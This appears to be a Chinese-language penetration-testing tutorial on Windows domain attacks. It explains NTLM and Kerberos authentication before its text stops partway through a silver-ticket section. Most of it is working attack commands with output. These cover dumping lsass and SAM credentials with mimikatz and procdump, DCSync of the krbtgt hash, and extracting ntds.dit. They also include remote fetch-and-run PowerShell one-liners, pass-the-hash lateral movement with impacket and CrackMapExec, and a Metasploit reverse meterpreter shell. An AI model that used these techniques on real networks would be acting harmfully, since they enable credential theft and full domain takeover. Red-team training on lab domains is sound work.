前置-windows认证机制

Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)

本地认证

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM Hash,然后与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现。

大致的运算流程为:

1
用户密码->HEX编码->Unicode编码->MD4

用python计算密码’admin’的NTLM哈希:
alt text

NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,无需做过多的了解,知道有这个东西即可。
本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。
我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的。

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM协议的认证过程分为三步,也叫挑战相应机制:

  1. 协商
  2. 质询
  3. 验证

协商:双方确定使用的协议版本,NTLM存在V1和V2两个版本,具体区别就是加密方式不同,不用管。

质询:挑战(Chalenge)/响应(Response)认证机制的核心。

  1. 客户端向服务器端发送用户信息(用户名)请求。
  2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端。
  3. 客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过。

其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)。

简单的来说:客户端向服务器请求使用某个用户进行验证,服务端判断该用户是否存在,存在的话使用这个用户密码的哈希值来加密一个随机字符串,并且将这个随机字符串返回给客户端,客户端再把自己提供的密码进行哈希处理后也来加密这串随机字符串,然后再把结果发送给服务器,服务器把从客户端发送的加密结果与自己本地的加密结果进行比较,相同的话便通过认证。

其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证。

再举个简单的例子,渗透某个站点,通过sql注入获取到了用户数据库,然后发现数据库中的管理员密码是md5加密的而且无法解开,但是这时候发现在前端登录时,也会将你输入的密码进行md5加密,也就是说后端是对比两个md5值是否相同,那我如果知道密码的md5值就能直接登录了,干嘛还要去解开呢?

工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击。

域认证(Kerberos)

域内认证即采用了Kerberos协议的认证机制,与前两者相比最大的区别是有个一个可信的第三方机构KDC的参与。

参与域认证的三个角色:

  • Client
  • Server
  • KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)

AD,全称叫account database,存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的SAM数据库,KDC可以从AD中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。

从物理层面看,AD与AS,TGS,KDC均为域控制器(Domain Controller)。

Kerberos认证协议的基础概念:
票据(Ticket):是网络对象互相访问的凭证。
TGT(Ticket Granting Ticket):看英文名就知道,用来生成Ticket的Ticket,Ticket的爹。
KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:

  • Authentication Service: 简称AS,为Client生成TGT的服务,也用来完成对Client的身份验证。
  • Ticket Granting Service: 为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务。

Kerbroes认证流程有些繁琐:

alt text

Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是否是可信赖的, 也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。
Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服务的任务)
Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server,如果要访问其他Server需要向KDC重新申请。

Kerberos认证协议

上一节提到了域内身份认证是采用的Kerberos协议,那么具体的认证流程是怎样的?

需要了解的几个概念

  • KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
  • AS(Authentication Server):身份认证服务
  • TGS(Ticket Granting Server):票据授予服务,该服务提供的票据也称为 TGS 或者叫白银票据
  • TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时

关于下文需要记住的一些点

Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash

TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash,这几个可能有时候叫法不一样但是是一个东西

Server 和 Service 也可以当作一个东西,就是Client想要访问的服务器或者服务

Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密

也就是说,参与认证的三个角色的NTLM Hash是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey的安全传输

然后Service 和 TGS 通过对TGT 和 Ticket (TGT 和 Ticket中包含会话密钥Sessionkey和客户端的身份信息)使用自己的NTLM Hash进行解密获取到会话密钥,再使用这个会话密钥解密客户端通过这个会话密钥加密发来的验证信息

通过解密客户端发来的验证信息,可以得到客户端的身份验证信息,再与使用自己的NTLM Hash进行解密TGT或者Ticket得到的客户端身份信息进行比较来完成对客户端身份的验证

TGT或Ticket 是由KDC使用TGS密钥和Service密钥进行加密的(上文讲到KDC可以从AD数据库中提取这三个东西),但是Client因为没有这两个密钥所以无法解密与修改。KDC将一份会话密钥通过Client的密钥加密发送给Client,另一份放在TGT中和客户端身份信息一起通过TGS的密钥进行加密也发送给Client

Client可以使用自己的密钥解密第一份会话密钥,然后用这个会话密钥来加密一份自己的身份信息,再把加密的身份信息和TGT一起发送给KDC,KDC此时如果能使用自己的TGS密钥来成功解密TGT,说明这个TGT是可信任的,因为Client无法修改TGT,然后再用这个TGT中的会话密钥来解密客户端发来的身份信息,与解密TGT得到的身份信息进行比对,如果能成功解密并且比对成功,说明这个Client是可信任的

Server端认证跟上面是一样的

一个更简单易懂的例子:戏说地狱三头犬

信息收集

域信息收集——查看是否域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
net view /domain 查询域列表
net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net user 查看本地
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
hostname
whoami比较
net config workstation

这个命令的解释:net time /domain
存在域,但是当前用户不在域里——拒绝访问
存在域,但是当前用户在域里——正常
不存在域——找不到域控制器

但是也不一定,比如这种情况。找不到域控制器的原因可能是域控关机了。
alt text

ipconfig /all
但是这里在某些特殊场景下说存在域名,其实可能并不存在域
alt text

最准的方法还是这两条命令
net config workstation和systeminfo
alt text

像这种就是在域内
alt text
alt text

定位域控

systeminfo中的domain

1
net group "domain controllers" /domain

alt text

nslookup
alt text

以及

1
2
nltest /dsgetdc:ice.com 
wmic ntdomain list brief

域信息收集——横向移动之前的准备

除去一些通用的常规横向信息收集之外,还有一些专门属于域主机信息收集的工具

导出所有信息收集(一般没这两个,是原生的)

1
2
3
ldifde----------ldifde -u -f output.ldf
csvde----------csvde -u -f ouput.csv
csvde.exe/ldifde.exe -u -r "(sAMAccountType=805306368)" -l sAMAccountName,displayname,lastlogon,pwdLastSet,description ,mail,homedirectory,scriptpath -f output.csv

普通域用户导出DNS信息

1
2
3
SharpAdidnsdump.exe   192.168.6.139(DC) 
SharpAdidnsdump4.5 192.168.6.139(DC) usernameice Aa123456. iceice.com
dnsdump -v -u ddh\test -p passwd 1.1.1.1

qs

1
2
3
qs  query   192.168.6.135  -u test                  查看test这个域账户的信息
qs query 192.168.6.135 -g administrator 查看远程计算机的管理员组有哪些用户
qs query 192.168.6.135 -q 定位域管,查看主机是用啥用户登录的

alt text

Adfind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
列出域控制器名称:
AdFind -sc dclist
查看域控版本
AdFind -schema -s base objectversion
查询当前域中在线的计算机:
AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
AdFind -users name
查询所有GPO:
AdFind -sc gpodmp

Dsquery

1
2
3
4
dsquery server         --查找DC
dsquery user --查找用户
dsquery computer --查找域内所有计算机名
dsquery user domainroot -stalepwd 100 --查找100天没改过密码的用户(筛选喷洒)

ADExplorer
输入一个域账户密码即可进行连接
alt text

LINUX下的LDAPsearch

1
2
3
4
5
6
7
8
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"    
//显示所有能查询的信息
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
//查询所有的域用户,并且只显示cn的信息,用户名,如果想全部显示,去掉管道符后面的
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
//查询所有的计算机名,并且只显示cn的信息,计算机名,如果想全部显示,去掉管道符后面的。
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
//查询所有的组

SPN——服务主体名称(SPN)

SPN是一个唯一服务的标识名,例如MYSQL是一个服务,HTTP是一个服务,而他们都有对应的SPN。并且Kerberos认证系统会绑定SPN服务到每个登录用户上,这也就意味着我们能通过SPN来进行信息收集到特定的服务和特定的用户。

举例:
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。

1
2
3
setspn  -T hacker.com -q  */*  指定域  
setspn -Q */*
只有域用户和机器用户(system可以使用),本地系统账户是不能用的

alt text

在一台普通域主机权限下使用此命令
可以看到此命令划分为三个区域,分别代表上面运行的一些服务
alt text

如下图所示,可以快速定位服务在哪台主机上
alt text
alt text

总结:SPN是kerberos与服务(http,mssql)通信认证的标识

总结

然后针对信息收集的话,一般我们获取服务器权限有三种类型,一种是域用户,一种是本地主机用户,还有一种是system。
本地用户是无法执行上述命令的(因为本地用户无法运行之前说的所有命令的,因为本质上所有查询都是通过ldap协议去域 控制器上查询,这个查询需要经过权限认证,只有域用户才有这个权限。
当域用户运行查询命令时,会自动使用kerberos协议认证,无需额外输入 账号密码),而SYSTEM属于机器用户(类似后面$),因此可以执行命令。

Tips

连不上主机
在域内扫出445端口是开的,密码也获取到了,但是net use连不上?
添加Host对应主机iceice\hostaname即可

机器在域里,但是没有域用户权限
net group /domain 如果不成功,那么和没在域内差不多,能做的就是先提权,然后再收集信息,或拿到一个域账户后,再收集域信息

可以通过爆破登录本地机器IP 来爆破域的账户密码(概率也不大就是了)

Dump Password & Hash

目的:获取windows用户密码或者Hash,用于远程登录域内其他机器,或进行后续的哈希传递和票据传递攻击

mimikatz

注册表读密码

1
2
reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
reg save HKLM\SAM C:\windows\temp\Sam.hiv
1
2
3
4
privilege::debug
sekurlsa::logonpasswords
# mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv

内存读取密码

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

alt text

或者使用procdump来绕过杀软对mimikatz拦截

1
2
3
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
# mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

Powershell调用

mimikatz

1
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

alt text

nishang

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes

alt text

MSF

mimikatz模块

1
2
3
load mimikatz
wdigest //获取明文密码
msv //获取所有Hash

alt text
alt text

hashdump

1
hashdump

alt text

WCE

1
wce -l

alt text

获取Krbtgt用户Hash

DCSync (mimikatz)

mimikatz 会模拟域控,向目标域控请求账号密码信息。这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

1
lsadump::dcsync /user:krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
mimikatz # lsadump::dcsync /user:krbtgt
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/9/9 10:44:59
Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
Object Relative ID : 502

Credentials:
Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
lm - 0: 9b5cd36575630d629f3aa6d769ec91c3

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : DE1AY.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
des_cbc_md5 (4096) : 79c8dc79fe467552

* Primary:Kerberos *
Default Salt : DE1AY.COMkrbtgt
Credentials
des_cbc_md5 : 79c8dc79fe467552

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 6486daf200f85102b9a66f0bb698f964
02 618b4df7c8262508a26641b5271693fe
03 657b7f6a13829e21c18da26ee927dd7a
04 6486daf200f85102b9a66f0bb698f964
05 618b4df7c8262508a26641b5271693fe
06 6702b7e06d68443bbd003fa1fd2ad6c2
07 6486daf200f85102b9a66f0bb698f964
08 5057528d4ee40f9ffda5ab89fc76e45c
09 5057528d4ee40f9ffda5ab89fc76e45c
10 ec101c8f1831c5ddefbcdabf2d854077
11 48c89ab471a5a096c8895ca7c9fb8098
12 5057528d4ee40f9ffda5ab89fc76e45c
13 f63f9768f77b7a60dd75f79b210d31c5
14 48c89ab471a5a096c8895ca7c9fb8098
15 334888d42cd914936f94d6c2875f77a3
16 334888d42cd914936f94d6c2875f77a3
17 930580b0e2523dbc40d8b34efc9a83d1
18 d7bb3256dc319c0a9bdbff3ef0b3d618
19 120122f0735a3841c210d145d092d0fc
20 d371f34cf41adb5a09c8507a94066c48
21 61b1669bec1aa4a9873703229854e57d
22 61b1669bec1aa4a9873703229854e57d
23 963efa120b17bf8ea89eb2906fdf0092
24 8a015afc23c33423a0557e59bd6d573c
25 8a015afc23c33423a0557e59bd6d573c
26 a1fa583bfc8008249d6649630aada4a0
27 c13cf2b5ecb0894a09f8dd0831732da4
28 679145bff502118a02f6f3af19067da2
29 e371aa57cba0556074c58686ef433c30

或者在 meterpreter 中使用 kiwi 扩展

1
dcsync_ntlm krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > getuid
Server username: DE1AY\Administrator
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
[+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
[+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
[+] RID : 502

LSA(mimikatz)

mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

1
2
privilege::debug
lsadump::lsa /inject /name:krbtgt

Hashdump(Meterpreter)
alt text

导出域Hash

Windows的密码是经过hash后存储的,本地存放在hklm\sam以及hklm\system注册表中,域里面是存放在域控制器的c:\windows\ntds\ntds.dit中
创建快照

1
ntdsutil snapshot "activate instance ntds" creat quit quit

alt text

挂载快照

1
ntdsutil snapshot "mount {快照id}" quit quit

alt text

复制ntds.dit到本地:

1
copy 装载位置\windows\NTDS\ntds.dit C:\ntds.dit

解除挂载:

1
ntdsutil snapshot "unmount {快照id}" quit quit

删除快照:

1
ntdsutil snapshot "delete {快照id}" quit quit

开始解密,首先通过注册表的方式获取KEY

1
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv

获取到ntds.dit和system.hiv之后 便可以使用工具导出域内所有用户的哈希

1
2
3
4
5
6
QuarksPwDump
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt

impacket
pip3 install impacket
python secretsdump.py -ntds ntds.dit -system sys.hiv LOCAL

哈希破解

在线工具

1
2
3
4
5
https://www.cmd5.com/
https://crack.sh/get-cracking/
http://hashcrack.com/index.php
http://cracker.offensive-security.com/index.php
http://www.objectif-securite.ch/en/ophcrack.php

离线工具

  • john
  • hashcat

基于IPC的远程连接

IPC (Internet Process Connection) 是共享”命名管道”的资源,它允许进程间通信。通过验证用户名和密码,可以获得相应的权限,用于远程管理计算机和查看计算机的共享资源

windows默认情况下开启的共享:
alt text

当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限

1
2
3
4
5
6
net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接

即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

计划任务执行命令

1
2
3
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

PSEXEC

可先建立ipc连接再使用psexec无需输入密码(pstools里有psexec.exe)

1
2
net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula 反弹cmd

alt text

或者直接使用psexec

1
.\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula

alt text

Impacket

smbexec.py

1
2
3
4
5
PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#EDC@192.168.10.201
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

psexec.py
与官方psexec.exe相比会自动删除服务,增加隐蔽性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file XUUaBGPx.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service eQxj on 192.168.10.201.....
[*] Starting service eQxj.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7601]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>

或者直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file ktRkscJe.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service YvrT on 192.168.10.201.....
[*] Starting service YvrT.....
[!] Press help for extra shell commands
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.10.201.....
[*] Stopping service YvrT.....
[*] Removing service YvrT.....
[*] Removing file ktRkscJe.exe.....

wmiexec.py

1
2
3
4
5
6
7
wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell>

PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator

PTH 哈希传递攻击

在前文Windows认证机制(网络认证 Net NTLM)章节中可以了解到,在获取了目标机器用户的NTLM Hash的情况下,可无需破解哈希直接使用目标的NTLM Hash来完成身份验证

哈希提取请参考DUMP PASSWORD & HASH
alt text

如这里获取到的NTLM Hash 4d01fbeeaf2b706478943e0889df5622

注意,PTH仍然是基于IPC远程连接实现的,所以关于账户权限,与基于IPC的远程连接章节中提到的相同

可完成Pass The Hash的工具:

impacket

psexec.py

1
psexec.py -hashes :<hash> 域/域用户名@192.168.10.2

alt text

smbexec.py

1
2
3
4
5
6
7
8
9
10
smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2

PS C:\Users\AresX> smbexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/administrator@192.168.10.201
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

wmiexec.py

1
2
3
4
PS C:\Users\AresX> wmiexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/administrator@192.168.10.201 whoami        Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator

CrackMapExec

1
pip2 install crackmapexec

截止到2020/3 官方程序尚未支持Python3

Windows安装需要额外安装Microsoft Visual C++ 14.0,建议*nix环境下安装

使用CrackMapExec实现Hash传递:

1
2
3
4
5
6
aresx@XXXXXXXXXX:~$ cme smb 192.168.10.201 -u administrator -H 4d01fbeeaf2b706478943e0889df5622 -x whoami
CME 192.168.10.201:445 PC [*] Windows 6.1 Build 7601 (name:PC) (domain:DE1AY)
CME 192.168.10.201:445 PC [+] DE1AY\administrator 4d01fbeeaf2b706478943e0889df5622 (Pwn3d!) CME smb:445 XXXXXXXXXX [*] Windows 10.0 Build 18362 (name:XXXXXXXXXX) (domain:XXXXXXXXXX)
CME 192.168.10.201:445 PC [+] Executed command
CME 192.168.10.201:445 PC de1ay\administrator
[*] KTHXBYE!

Smbmap

1
2
3
4
5
6
7
8
PS E:\Tools\内网渗透工具集\smbmap> python3 .\smbmap.py -u administrator -d de1ay -p f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 -H 192.168.10.201
[+] IP: 192.168.10.201:445 Name: PC
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE 远程管理
C$ READ, WRITE 默认共享
IPC$ NO ACCESS 远程 IPC
PS E:\Tools\内网渗透工具集\smbmap>

Smbmap需提供LM Hash:NTLM Hash

Metasploit

使用的是exploit/windows/smb/psexec

注意这里填入的哈希是LM Hash:NTLM Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

=[ metasploit v5.0.21-dev ]
+ -- --=[ 1889 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]

[*] Starting persistent handler(s)...

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf5 exploit(windows/smb/psexec) > set LPORT 7778
LPORT => 7778
msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.10.201
RHOSTS => 192.168.10.201
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.10.201 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.1 yes The listen address (an interface may be specified)
LPORT 7778 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic


msf5 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf5 exploit(windows/smb/psexec) > set SMBPass f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 //冒号前为LM Hash 后为NTLM Hash
SMBPass => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
msf5 exploit(windows/smb/psexec) > set SMBDomain de1ay
SMBDomain => de1ay
msf5 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.10.1:7778
[*] 192.168.10.201:445 - Connecting to the server...
[*] 192.168.10.201:445 - Authenticating to 192.168.10.201:445|de1ay as user 'Administrator'...
[*] 192.168.10.201:445 - Selecting PowerShell target
[*] 192.168.10.201:445 - Executing the payload...
[+] 192.168.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.10.201
[*] Meterpreter session 1 opened (192.168.10.1:7778 -> 192.168.10.201:49482) at 2020-03-10 13:54:44 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

PTT 票据传递攻击

白银票据(Silver Tickets)

特点:

  • 无需与KDC交互
  • 需要目标Server的NTLM Hash

在前文kerberos认证中的Ticket的组成:

1
Ticket=Server Hash(Server Session Key+Client info+End Time) 

当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。

获取Server Hash

1
C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

alt text

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器
alt text

msf中加载mimikatz后使用msv来获取所有哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID Package Domain User Password
------ ------- ------ ---- --------
0;987554 Negotiate IIS APPPOOL DefaultAppPool lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
